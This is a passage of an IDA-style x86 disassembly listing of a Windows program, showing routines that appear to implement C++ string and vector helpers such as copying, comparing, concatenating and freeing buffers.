		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_4097F9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4097F9:				; CODE XREF: sub_4096D0+D8j
		test	edi, edi
		jbe	short loc_409833
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016E0
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CDF
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409833:				; CODE XREF: sub_4096D0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4096D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098A0	proc near		; CODE XREF: sub_401717j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4098C0


loc_4098B1:				; CODE XREF: sub_4098A0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402090
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4098B1


loc_4098C0:				; CODE XREF: sub_4098A0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4098A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098E0	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4098E0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409900	proc near		; CODE XREF: sub_402090j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409900	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409920	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409952
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409936:				; CODE XREF: sub_409920+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015B4
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409936
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409952:				; CODE XREF: sub_409920+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409920	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409970	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_409997
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409986:				; CODE XREF: sub_409970+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015B4
		add	esi, 4
		dec	edi
		jnz	short loc_409986
		pop	esi
		pop	ebx


loc_409997:				; CODE XREF: sub_409970+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409970	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099B0	proc near		; CODE XREF: sub_401CC1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402059
sub_4099B0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099E0	proc near		; CODE XREF: sub_4015B4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_4099E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A10	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_409A2D
		mov	edx, [esp+arg_8]
		push	esi


loc_409A21:				; CODE XREF: sub_409A10+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409A21
		pop	esi

locret_409A2D:				; CODE XREF: sub_409A10+Aj
		retn
sub_409A10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A40	proc near		; CODE XREF: sub_401CDFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409A62
		mov	eax, [esp+arg_8]
		push	esi


loc_409A51:				; CODE XREF: sub_409A40+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409A51
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409A62:				; CODE XREF: sub_409A40+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409A40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409AA0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_409AAA
		xor	eax, eax


loc_409AAA:				; CODE XREF: sub_409AA0+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_409AA0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AD0	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409AEB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409AEB:				; CODE XREF: sub_409AD0+11j
		retn
sub_409AD0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B00	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B36
		push	edi
		call	near ptr 282180Ch
		nop
		mov	edi, dword_5118CC
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409B36:				; CODE XREF: sub_409B00+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409B00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B70	proc near		; CODE XREF: sub_401CEEj
		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B8F
		nop
		call	near ptr 2821C50h
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409B8F:				; CODE XREF: sub_409B70+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409B70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BB0	proc near		; CODE XREF: sub_40142Ej
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43F010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409BB0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409BE0:				; CODE XREF: ___:00402081j
					; ___:loc_40218Fj
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409BF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409BF8:				; CODE XREF: ___:00409BEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C10	proc near		; CODE XREF: sub_401870j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C50	proc near		; CODE XREF: sub_4014D3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FDC
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C90	proc near		; CODE XREF: sub_402112j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4447F4
		push	ecx
		mov	dword ptr [esi], offset	off_43F010
		nop
		call	near ptr byte_5F285B
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409C90	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D00	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43F010
		cmp	eax, edi
		jz	short loc_409D1C
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D1C:				; CODE XREF: sub_409D00+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409D2F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D2F:				; CODE XREF: sub_409D00+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409D00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D50	proc near		; CODE XREF: sub_4015E1j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409DBA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409D7A
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D7A:				; CODE XREF: sub_409D50+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0D9E89052h, 837783DCh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409DBA:				; CODE XREF: sub_409D50+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409D50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DF0	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_409DF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409E20:				; CODE XREF: ___:00401A5Aj
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4447F4
		push	ecx
		nop
		call	near ptr byte_5F285B
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015E1
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E70	proc near		; CODE XREF: sub_401AAFj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409F02
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409F02
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409EFF
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409EFF:				; CODE XREF: sub_409E70+84j
		mov	[ebx+9], ebp


loc_409F02:				; CODE XREF: sub_409E70+Cj
					; sub_409E70+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409E70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F40	proc near		; CODE XREF: sub_4016C7j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401AAF
		pop	esi
		retn	4
sub_409F40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F70	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4447F4
		push	ecx
		nop
		call	near ptr byte_5F285B
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401AAF
		pop	esi
		add	esp, 10h
		retn	4
sub_409F70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FC0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409FD7
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409FD7:				; CODE XREF: sub_409FC0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409FDB:				; CODE XREF: sub_409FC0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A006
		test	cl, cl
		jz	short loc_409FFF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A006
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409FDB


loc_409FFF:				; CODE XREF: sub_409FC0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A006:				; CODE XREF: sub_409FC0+23j
					; sub_409FC0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409FC0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A030	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A030	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A060	proc near		; CODE XREF: sub_40150Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A073
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_40A073:				; CODE XREF: sub_40A060+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_40A060	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0A0	proc near		; CODE XREF: sub_4021D0j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0D0	proc near		; CODE XREF: sub_401CD0j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A0E3
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A0E3:				; CODE XREF: sub_40A0D0+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A0D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A100	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A142
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015E1


loc_40A142:				; CODE XREF: sub_40A100+13j
		add	esp, 2000h
		retn
sub_40A100	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A170	proc near		; CODE XREF: sub_401D34j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A170	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A190	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_511AEC
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1B4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1B4:				; CODE XREF: sub_40A190+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A190	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1E0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401816
		retn	4
sub_40A1E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A200	proc near		; CODE XREF: sub_401816j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402135
		pop	esi
		retn	8
sub_40A200	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A230	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402135
		retn	4
sub_40A230	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A250	proc near		; CODE XREF: sub_402135j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A265
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A265:				; CODE XREF: sub_40A250+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_511B04
		push	edi
		push	eax
		call	ebx
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A27F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A27F:				; CODE XREF: sub_40A250+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A250	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2C0	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A2D3
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A2D3:				; CODE XREF: sub_40A2C0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A2E6
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A2E6:				; CODE XREF: sub_40A2C0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_437AEA
sub_40A2C0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A340	proc near		; CODE XREF: sub_4013E3j
		mov	eax, [ecx+11h]
		retn
sub_40A340	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A360	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A3B2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A3B2:				; CODE XREF: sub_40A360+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_40142E
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_437AEA
sub_40A360	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015E1
		push	ebx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
